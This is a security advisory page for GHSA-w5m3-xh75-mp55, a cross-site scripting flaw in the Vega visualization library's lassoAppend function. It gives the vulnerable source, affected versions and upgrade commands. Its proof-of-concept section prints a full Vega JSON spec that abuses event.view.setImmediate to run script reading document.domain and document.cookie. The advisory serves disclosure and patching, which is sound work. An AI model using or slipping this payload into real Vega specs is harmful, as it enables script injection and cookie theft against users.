VDB
Sign up
MEDIUM6.1

GHSA-w5m3-xh75-mp55

Vega has Cross-site Scripting vulnerability in `lassoAppend` function

Quick fix

GHSA-w5m3-xh75-mp55 — vega: upgrade to the fixed version with the command below.

npm install vega@5.23.0

Details

### Summary

Vega's `lassoAppend` function: `lassoAppend` accepts 3 arguments and internally invokes `push` function on the 1st argument specifying array consisting of 2nd and 3rd arguments as `push` call argument. The type of the 1st argument is supposed to be an array, but it's not enforced.

This makes it possible to specify any object with a `push` function as the 1st argument, `push` function can be set to any function that can be access via `event.view` (no all such functions can be exploited due to invalid context or signature, but some can, e.g. `console.log`).

### Details The issue is that [`lassoAppend`](https://github.com/vega/vega/blob/7eafbbd4d53d0ce9f08e74ff96c90d411b1bb80a/packages/vega-functions/src/functions/lasso.js#L13) doesn't enforce proper types of its arguments: ```js ..... export function lassoAppend(lasso, x, y, minDist = 5) { const last = lasso[lasso.length - 1];

// Add point to lasso if distance to last point exceed minDist or its the first point if (last === undefined || Math.sqrt(((last[0] - x) ** 2) + ((last[1] - y) ** 2)) > minDist) { lasso.push([x, y]); ..... ```

### PoC

Use the following Vega snippet (depends on browser's non-built-in `event.view.setImmediate` function, feel free to replace with `event.view.console.log` or alike and observe the result in the browser's console)

```json { "$schema": "https://vega.github.io/schema/vega/v5.json", "width": 350, "height": 350, "autosize": "none", "description": "Toggle Button", "signals": [ { "name": "toggle", "value": false, "on": [ { "events": {"type": "click", "markname": "circle"}, "update": "toggle ? false : true" } ] }, { "name": "addFilter", "on": [ { "events": {"type": "mousemove", "source": "window"}, "update": "lassoAppend({'push':event.view.setImmediate},'alert(document.domain)','alert(document.cookie)')" } ] } ], "marks": [ { "name": "circle", "type": "symbol", "zindex": 1, "encode": { "enter": { "y": {"signal": "height/2"}, "angle": {"value": 0}, "size": {"value": 400}, "shape": {"value": "circle"}, "fill": {"value": "white"}, "stroke": {"value": "white"}, "strokeWidth": {"value": 2}, "cursor": {"value": "pointer"}, "tooltip": {"signal": "{Tip: 'Click to fire XSS'}"} }, "update": {"x": {"signal": "toggle === true ? 190 : 165"}} } }, { "name": "rectangle", "type": "rect", "zindex": 0, "encode": { "enter": { "x": {"value": 152}, "y": {"value": 162.5}, "width": {"value": 50}, "height": {"value": 25}, "cornerRadius": {"value": 20} }, "update": { "fill": {"signal": "toggle === true ? '#006BB4' : '#939597'"} } } } ] } ```

### Impact This issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS `setImmediate` polyfill basically allows `eval`-like functionality).

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/vega
Introduced in: 0Fixed in: 5.23.0
Fixnpm install vega@5.23.0
npm/vega-functions
Introduced in: 0Fixed in: 5.13.1
Fixnpm install vega-functions@5.13.1

References